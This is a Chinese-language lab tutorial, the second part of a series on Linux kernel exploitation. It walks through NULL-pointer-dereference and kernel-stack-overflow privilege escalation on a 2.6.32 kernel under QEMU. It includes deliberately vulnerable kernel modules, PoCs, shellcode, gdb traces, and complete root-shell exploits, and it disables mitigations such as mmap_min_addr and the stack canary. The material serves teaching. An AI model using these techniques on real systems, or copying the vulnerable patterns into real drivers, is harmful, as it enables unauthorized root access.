【系列分享】Linux 内核漏洞利用教程(二):两个Demo

http://p0.qhimg.com/t0168303a72bd1ba0bd.jpg

作者:o0xmuhe

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【系列分享】Linux 内核漏洞利用教程(一):环境配置


0x00: 前言

本篇文章将介绍两种简单的kernel exploit姿势,分别是:

NULL Dereference

Kernel Stack Overflow


0x01: NULL Dereference

1. 介绍

古老的Linux NULL pointer dereference exploit,映射0地址分配shellcode运行

2. 漏洞代码

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
void (*my_funptr)(void);
int bug1_write(struct file *file,const char *buf,unsigned long len)
{
        my_funptr();
        return len;
}
static int __init null_dereference_init(void)
{
        printk(KERN_ALERT "null_dereference driver init!n");
        create_proc_entry("bug1",0666,0)->write_proc = bug1_write;
       return 0;
}
static void __exit null_dereference_exit(void)
{
        printk(KERN_ALERT "null_dereference driver exitn");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);
Makefile如下
obj-m := null_dereference.o  
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/  
PWD := $(shell pwd)  
modules:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules  
moduels_install:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
clean:  
        rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

可以看到,vuln code中my_funptr函数指针指向不定,可以劫持之后代码执行。

把驱动编译好,然后把*.ko文件丢进busybox那个文件系统中去,方便后面挂载使用。

3. PoC

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
char payload[] = "xe9xeaxbexadx0b";//jmp 0xbadbeef
int main(){
    mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "muhe", 4);
    return 0;
}
# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/null_dereference [4:17:06] 
$ gcc -static poc.c -o poc
poc.c: In function ‘main’:
poc.c:11:5: warning: incompatible implicit declaration of built-in function ‘memcpy’ [enabled by default]
     memcpy(0, payload, sizeof(payload));
     ^
poc.c:11:5: warning: null argument where non-null required (argument 1) [-Wnonnull]
# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/null_dereference [4:17:51] 
$ cp poc ../../busybox-1.19.4/_install/usr

然后qemu启动系统,启动的时候按下ctrl+alt+2

http://p1.qhimg.com/t01fbef40f55e6f4a7f.png

然后gdb去连接

# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1 [4:12:41] 
$ gdb vmlinux
gdb-peda$ target remote :1234
Remote debugging using :1234
Warning: not running or target is remote
current_thread_info () at /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/arch/x86/include/asm/thread_info.h:186
186            (current_stack_pointer & ~(THREAD_SIZE - 1));
gdb-peda$ b *0x0
Breakpoint 1 at 0x0
gdb-peda$ c
Continuing.

然后qemu中ctrl+alt+1切换回去,然后进入usr目录,挂载驱动后运行poc程序。

http://p2.qhimg.com/t018d86fc9fecb59461.png

gdb里反汇编查看当前执行的指令

http://p8.qhimg.com/t013d9937cb549bc65f.png

4. exploit

1.思路

给当前进程赋予root权限

commit_creds(prepare_kernel_cred(0));

下面取得commit_creds和prepare_kernel_cred地址:

/ # grep commit_creds /proc/kallsyms
c11b7bc0 T security_commit_creds
c15f8ed0 r __ksymtab_commit_creds
c16024d0 r __kcrctab_commit_creds
c1609215 r __kstrtab_commit_creds
/ # grep prepare_kernel_cred /proc/kallsyms
c1067fc0 T prepare_kernel_cred
c15f8eb0 r __ksymtab_prepare_kernel_cred
c16024c0 r __kcrctab_prepare_kernel_cred
c16091d9 r __kstrtab_prepare_kernel_cred

2.编写shellcode

xor %eax,%eax
call 0xc1067fc0
call 0xc1067e20
ret
$ gcc -o payload payload.s -nostdlib -Ttext=0
$ objdump -d payload
payload:     file format elf32-i386
Disassembly of section .text:
00000000 <__bss_start-0x100d>:
   0:    31 c0                    xor    %eax,%eax
   2:    e8 b9 7f 06 c1           call   c1067fc0 <_end+0xc1066fb0>
   7:    e8 14 7e 06 c1           call   c1067e20 <_end+0xc1066e10>
   c:    c3                       ret

得到shellcode

shellcode="x31xc0xe8xb9x7fx06xc1xe8x14x7ex06xc1xc3"

我们需要分配0地址空间然后放入shellcode,然后jmp过去执行shellcode,使当前进程有root权限,然后执行一个system("/bin/sh");在程序返回用户态之后拿到一个root的shell。

3. exploit

$ cat exploit.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
char payload[] = "x31xc0xe8xb9x7fx06xc1xe8x14x7ex06xc1xc3";
int main()
{
        mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
        memcpy(0, payload, sizeof(payload));
        int fd = open("/proc/bug1", O_WRONLY);
        write(fd, "muhe", 4);
        system("/bin/sh");//get root shell
        return 0;
}

5. get root shell

然后新建用户去测试exploit。

http://p1.qhimg.com/t01e4a0bdc4e9ee28f4.png

但是得到报错:

http://p4.qhimg.com/t0117a5725f6eab8654.png

这是因为,2.6.32内核已经使用mmap_min_addr作为缓解措施mmap_min_addr为4096,需要设置下mmap_min_addr。

# sysctl -w vm.mmap_min_addr="0"

设置之后重新运行exploit

http://p9.qhimg.com/t0178854fc947469c34.png

成功拿到root shell


0x02 : Kernel Stack Overflow

1. 介绍

和用户态的栈溢出原理一样,拷贝、拼接字符串的时候未作长度检查,导致覆盖栈上保存的返回地址,只后可以劫持程序流程,从而实现代码执行的效果。只不过这是在内核空间,可以直接用来提权。

2. 漏洞代码

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
int bug2_write(struct file *file,const char *buf,unsigned long len)
{
    char localbuf[8];
    memcpy(localbuf,buf,len);
    return len;
}
static int __init stack_smashing_init(void)
{
    printk(KERN_ALERT "stack_smashing driver init!n");
    create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
    return 0;
}
static void __exit stack_smashing_exit(void)
{
    printk(KERN_ALERT "stack_smashing driver exit!n");
}
module_init(stack_smashing_init);
module_exit(stack_smashing_exit);
obj-m := stack_smashing.o  
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
PWD := $(shell pwd)  
modules:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules  
moduels_install:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
clean:  
        rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

3. PoC

poc代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(){
    char buf[24] = {0};
    memset(buf,"A",24);
    *((void**)(buf + 20)) = 0x42424242;
    int fd = open("/proc/bug2",O_WRONLY);
    write(fd,buf,sizeof(buf));
}

可以看到payload结构很简单,直接就是buffer+eip的结构。按照第一篇文章中的步骤,编译poc,然后构建文件系统,qemu起内核后,运行poc。

http://p4.qhimg.com/t01d10eb750109f6996.png

这里就有个问题,我们编译的kernel默认开启canary的,如果直接这么去运行poc,会直接kernel panic,无法利用,所以我们需要关闭canary选项,重新编译一个内核。

编辑.config文件,注释掉CONFIG_CC_STACKPROTECTOR这一行,然后重新编译内核。

http://p5.qhimg.com/t0121c92684bd01f216.png

注释掉之后,重新编译内核,再起内核,跑我们的PoC。

http://p4.qhimg.com/t015d682d13a0538296.png

这个时候发现,eip被覆盖成了0x42424242 。

1 调试注意事项

模块在编译后按照上篇文章的方法,丢进busybox,然后qemu起内核然后调试。

由于模块并没有作为vmlinux的一部分传给gdb,因此必须通过某种方法把模块信息告知gdb,可以通过add-symbol-file命令把模块的详细信息告知gdb,由于模块也是一个elf文件,需要知道模块的.text、.bss、.data节区地址并通过add-symbol-file指定。

模块stack_smashing.ko的这三个信息分别保存在/sys/module/stack_smashing/sections/.text、/sys/module/stack_smashing/sections/.bss和/sys/module/stack_smashing/sections/.data,由于stack_smashing模块没有bss、data节区所以只需要指定text即可。

2 调试过程

qemu 中设置好gdbserver后,找到模块的.text段的地址grep 0 /sys/module/stack_smashing/sections/.text。

然后gdb里:

$gdb vmlinux
....
....
gdb-peda$ target remote :1234
Remote debugging using :1234
Warning: not running or target is remote
current_thread_info () at /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/arch/x86/include/asm/thread_info.h:186
186            (current_stack_pointer & ~(THREAD_SIZE - 1));
gdb-peda$ add-symbol-file ./stack_smashing/stack_smashing.ko 0xc8830000
add symbol table from file "./stack_smashing/stack_smashing.ko" at
    .text_addr = 0xc8830000
Reading symbols from ./stack_smashing/stack_smashing.ko...done.
gdb-peda$ b bug2_write
Breakpoint 1 at 0xc8830000: file /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/stack_smashing/stack_smashing.c, line 7.
gdb-peda$ c
Continuing.

运行poc之后

gdb-peda$ x/20i $pc
=> 0xc8830000 <bug2_write>:    push   ebp
   0xc8830001 <bug2_write+1>:    mov    ebp,esp
   0xc8830003 <bug2_write+3>:    push   edi
   0xc8830004 <bug2_write+4>:    push   esi
   0xc8830005 <bug2_write+5>:    sub    esp,0x8
   0xc8830008 <bug2_write+8>:    nop    DWORD PTR [eax+eax*1+0x0]
   0xc883000d <bug2_write+13>:    mov    eax,ecx
   0xc883000f <bug2_write+15>:    mov    esi,edx
   0xc8830011 <bug2_write+17>:    shr    ecx,0x2
   0xc8830014 <bug2_write+20>:    lea    edi,[ebp-0x10]
   0xc8830017 <bug2_write+23>:    rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
   0xc8830019 <bug2_write+25>:    mov    ecx,eax
   0xc883001b <bug2_write+27>:    and    ecx,0x3
   0xc883001e <bug2_write+30>:    je     0xc8830022 <bug2_write+34>
   0xc8830020 <bug2_write+32>:    rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
   0xc8830022 <bug2_write+34>:    add    esp,0x8
   0xc8830025 <bug2_write+37>:    pop    esi
   0xc8830026 <bug2_write+38>:    pop    edi
   0xc8830027 <bug2_write+39>:    pop    ebp
   0xc8830028 <bug2_write+40>:    ret    
gdb-peda$ b *0xc8830028
Breakpoint 2 at 0xc8830028: file /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/stack_smashing/stack_smashing.c, line 12.
gdb-peda$ c
Continuing.
Warning: not running or target is remote
Breakpoint 2, 0xc8830028 in bug2_write (file=<optimized out>, buf=0xbf99da64 'H' <repeats 20 times>, "BBBB", len=0x18)
    at /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/stack_smashing/stack_smashing.c:12
12    }
gdb-peda$ x/10i $pc
=> 0xc8830028 <bug2_write+40>:    ret    
   0xc8830029:    push   ebp
   0xc883002a:    mov    ebp,esp
   0xc883002c:    push   eax
   0xc883002d:    call   0xc10038d8 <mcount>
   0xc8830032:    mov    DWORD PTR [esp],0xc8830084
   0xc8830039:    call   0xc142b9bc <printk>
   0xc883003e:    leave  
   0xc883003f:    ret    
   0xc8830040:    add    al,0x0
gdb-peda$ ni
Warning: not running or target is remote
0x42424242 in ?? ()
gdb-peda$

发现eip被覆盖成了预期的值。

4 exploit

1. 思路

拿到shell的思路还是利用commit_creds(prepare_kernel_cred(0)),然后返回到用户模式,返回到用户模式执行iret指令

关于iret指令:

当使用IRET指令返回到相同保护级别的任务时,IRET会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器,并弹出标志寄存器内容到EFLAGS寄存器。

当使用IRET指令返回到一个不同的保护级别时,IRET不仅会从堆栈弹出以上内容,还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。

栈上保存了trap frame,返回到用户模式的时候,恢复信息从以下得得结构读取

struct trap_frame 
{
    void* eip;                // instruction pointer +0
    uint32_t cs;            // code segment    +4
    uint32_t eflags;        // CPU flags       +8
    void* esp;                // stack pointer       +12
    uint32_t ss;            // stack segment   +16
} __attribute__((packed));

那么get root shell的思路就是:先去执行commit_creds(prepare_kernel_cred(0)),然后返回到用户模式,执行起shell,也就是说先把当前进程权限提到root,然后执行起shell操作,那么我们就可以得到一个root的shell了。

需要的两个函数地址如下:

http://p3.qhimg.com/t01b5bb7313f3e5ff19.png

2. 编写exploit

exploit 代码如下

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
void get_shell(void){
    execl("/bin/sh", "sh", NULL);
}
void init_tf_work(void){
    asm("pushl %cs;popl tf+4;" //set cs
        "pushfl;popl tf+8;"  //set eflags
        "pushl %esp;popl tf+12;"
        "pushl %ss;popl tf+16;");
    tf.eip = &get_shell;
    tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1067b20;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1067980;
void payload(void){
    //payload here    
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
       "iret;");
}
int main(void){
    char buf[24];
    memset(buf,0x41,24);
    *((void**)(buf+20)) = &payload; //set eip to payload
    init_tf_work();
    write(1,buf,sizeof(buf));
    int fd = open("/proc/bug2",O_WRONLY);
    //exploit
    write(fd,buf,sizeof(buf));
    return 0;
}

3. 调试exploit

先要做一些准备工作:

确定模块代码节地址

https://p5.ssl.qhimg.com/t012de66ed74e467dd0.png

gdb设置

https://p4.ssl.qhimg.com/t012d3c7017a5751e29.png

然后就可以返回到系统中,运行exploit程序了。

对ret指令下断,然后c过去,这时候单步的话,应该就ret到我们payload的地址了。

https://p4.ssl.qhimg.com/t011498a171c27445bc.png

查看一下栈顶的情况:

https://p2.ssl.qhimg.com/t018b797f5b851da934.png

接下来,我们单步,直行进入我们的payload。

https://p1.ssl.qhimg.com/t01bff31e2cd61c6417.png

这里可以看到先去执行commit_creds(prepare_kernel_cred(0))了。

https://p3.ssl.qhimg.com/t019cb0b76cf1860452.png

我们主要关注iret的时候:

https://p3.ssl.qhimg.com/t017ef0c0397bccd6bb.png

红色部分就是我们伪造的tf结构啦!

https://p3.ssl.qhimg.com/t0173a28430d74d8fc4.png

这边可以看到eip指向是我们用来起shell的函数,这样看来整个payload结构是没什么问题的。

5 get root shell

下面我们添加用户,然后测试exploit:

https://p5.ssl.qhimg.com/t01467df00aa58a8fec.png

经测试,可以直接拿到一个root的shell,提权成功~


0x03:引用与参考

0x9k 's doc

linux_kernel_exploit

mmap_min_addr – Debian Wiki

传送门


【系列分享】Linux 内核漏洞利用教程(一):环境配置

(完)